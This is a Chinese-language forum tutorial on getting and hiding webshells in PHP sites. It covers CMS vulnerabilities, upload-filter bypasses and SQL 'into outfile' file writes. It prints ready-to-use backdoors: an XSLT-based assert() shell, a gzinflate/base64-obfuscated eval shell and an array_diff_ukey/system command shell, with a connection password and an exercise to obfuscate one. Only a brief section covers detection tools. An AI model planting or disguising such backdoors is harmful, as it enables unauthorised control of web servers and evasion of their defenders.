前言
WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。本篇文章將帶大家學習如何獲取WebShell,如何隱藏WebShell,有攻必有防,最后帶大家學習查殺WebShell。
目錄
- 第一節 CMS獲取WebShell
- 第二節 非CMS獲取WebShell
- 第三節 基於xslt轉換的WebShell
- 第四節 代碼混淆隱藏WebShell
- 第五節 防御篇-查殺WebShell
正文
- 第一節 CMS獲取WebShell
1.1、什么是CMS?
CMS是Content Management System的縮寫,意為"內容管理系統"。 內容管理系統是企業信息化建設和電子政務的新寵,也是一個相對較新的市場。對於內容管理,業界還沒有一個統一的定義,不同的機構有不同的理解。
1.2、常見的CMS有哪些?
- asp平台:動易CMS、創力CMS、科汛CMS、新雲CMS;
- php平台:phpcms、織夢CMS、帝國CMS、php168 CMS;
- ASP.NET平台:Zoomla!逐浪CMS、動易CMS、風訊CMS、We7 CMS;
1.3、CMS獲取WebShell方法
公開漏洞途徑:以PHPCMS為例:
我們可以利用搜索引擎來查找互聯網上公開的通用漏洞,如果目標站點並沒有進行修復,即可輕松獲取WebShell。
代碼審計途徑:
有很多CMS其實是開源的,我們可以在官網下載到源碼,然后進行代碼審計,自己挖掘漏洞, 來獲取WebShell。關於代碼審計的教程篇幅太長,這里就不做更多介紹,我會單獨寫一篇系列文章進行講解。
- 第二節 非CMS獲取WebShell
2.1、上傳漏洞獲取WebShell
文件上傳漏洞主要有以下幾種情況:
- MIME類型繞過漏洞
- 文件擴展名繞過漏洞
- 文件內容檢測繞過類上傳漏洞
- 空字節截斷目錄路徑檢測繞過類上傳漏洞
解析導致的文件上傳漏洞:
- IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
- Apache站上的解析缺陷繞過上傳漏洞
- htaccess文件上傳解析漏洞
還有一些編輯器存在漏洞導致的文件上傳,比如FCK編輯器。
具體請看i春秋學院視頻,還可以做實驗,鏈接如下:
非法文件上傳漏洞技術解析及防御
2.2、SQL注入獲取WebShell
利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。
MySQL:
select into outfile(dumpfile) //MySQL寫文件命令
例如:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
那么其它關系數據庫管理系統同樣的原理寫文件,就不在過多介紹了。
2.3、數據庫備份獲取WebShell
利用數據庫備份獲取WebShell,恰好i春秋有相關的實驗,我也發過相關的教程,這里就不介紹了,大家去看看吧,第三步就是利用數據庫備份拿WebShell。
2015中國網絡安全大賽:越權訪問真題
配套實驗地址:(進去后選擇越權訪問點擊START就行了)
2015中國網絡安全大賽
- 第三節 基於xslt轉換的WebShell
3.1、什么是xslt?
在了解什么是xslt之前,我們需要先了解什么是xsl,XSL是可擴展樣式表語言的外語縮寫,是一種用於以可讀格式呈現 XML(標准通用標記語言的子集)數據的語言。
XSL - 不僅僅是樣式表語言
XSL 包括三部分:
XSLT - 一種用於轉換 XML 文檔的語言。
XPath - 一種用於在 XML 文檔中導航的語言。
XSL-FO - 一種用於格式化 XML 文檔的語言。
那么看到這里相信大家已經了解到xslt是xsl的一部分。
3.2、在PHP下基於xslt轉換來隱藏WebShell
怎么在php下使用xsl呢?我教大家的都是可以自己學習的方法,既然要使用php,我們肯定要去看php的官方手冊,我們去搜索xsl
定位到XSLTProcessor類,可以發現registerPHPFunctions方法,如果你根本不懂這些方法,不要緊,看后面的英文介紹,如果你說你不懂英文,不要緊啊,不有google翻譯,拿去翻譯一下
Enables the ability to use PHP functions as XSLT functions
我們點進去,可以發現里面有事例,很簡單,建議大家去看看啊。PHP手冊地址見下面的參考資料
我們先來看看官方事例:
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> //這個命名空間URI表示php專用的xsl函數支持 <xsl:output method="html" encoding="utf-8" indent="yes"/> <xsl:template match="allusers"> <html><body> <h2>Users</h2> <table> <xsl:for-each select="user"> <tr><td> <xsl:value-of select="php:function('ucfirst',string(uid))"/> //php:function('assert',string(.))表示將匹配節點的文本作為參數傳遞給php的assert函數。 </td></tr> </xsl:for-each> </table> </body></html> </xsl:template> </xsl:stylesheet>
那么搞懂了以上這些知識,那就很簡單了。
為了避免xml的轉義問題,進行一次assert嵌套,最終WebShell如下:
<?php $xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>'; $xsl='<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl"> <xsl:template match="/ichunqiu"> <xsl:value-of select="icq:function(\'assert\',string(.))"/> </xsl:template> </xsl:stylesheet>'; $xmldoc = DOMDocument::loadXML($xml); $xsldoc = DOMDocument::loadXML($xsl); $proc = new XSLTProcessor(); $proc->registerPHPFunctions(); $proc->importStyleSheet($xsldoc); $proc->transformToXML($xmldoc); ?>
可以直接用菜刀連接:(密碼:zusheng)
參考資料:
- PHP官方手冊:http://php.net/manual/zh/
- 第四節 代碼混淆隱藏WebShell
代碼混淆隱藏WebShell也就是通過編碼和壓縮惡意代碼的方式來隱藏WebShell。
這里我們使用gzinflate+Base64加密,來隱藏WebShell。
<?php eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA='))); ?>
可以直接用菜刀連接:(密碼:zusheng)
- 第五節 防御篇-查殺WebShell
5.1、WebShell的分類
5.2、安全工具
D盾:
下載地址:免費下載
360主機衛士:
提供在線監測,把網站打包成zip上傳就行了
http://zhuji.360.cn/backdoor
小實驗
學完上述知識,大家是不是想動手來試試了呢,來個小實驗。
我們先新建一個php文件
文件內容如下:
<?php if (isset($_GET["cmd"])) { array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system'); } ?>
使用gzinflate+Base64加密,來隱藏WebShell。
使之能正常運行。
結束語
作為一名黑客,在你取得成功的問題上沒有什么訣竅可尋,只有你越努力工作,你才能越接近成功。
文章首鏈:http://bbs.ichunqiu.com/thread-8907-1-1.html?from=bkycold
感謝您的閱讀,如果您學到了,請點贊(碼字不易)!
歡迎熱心園友補充!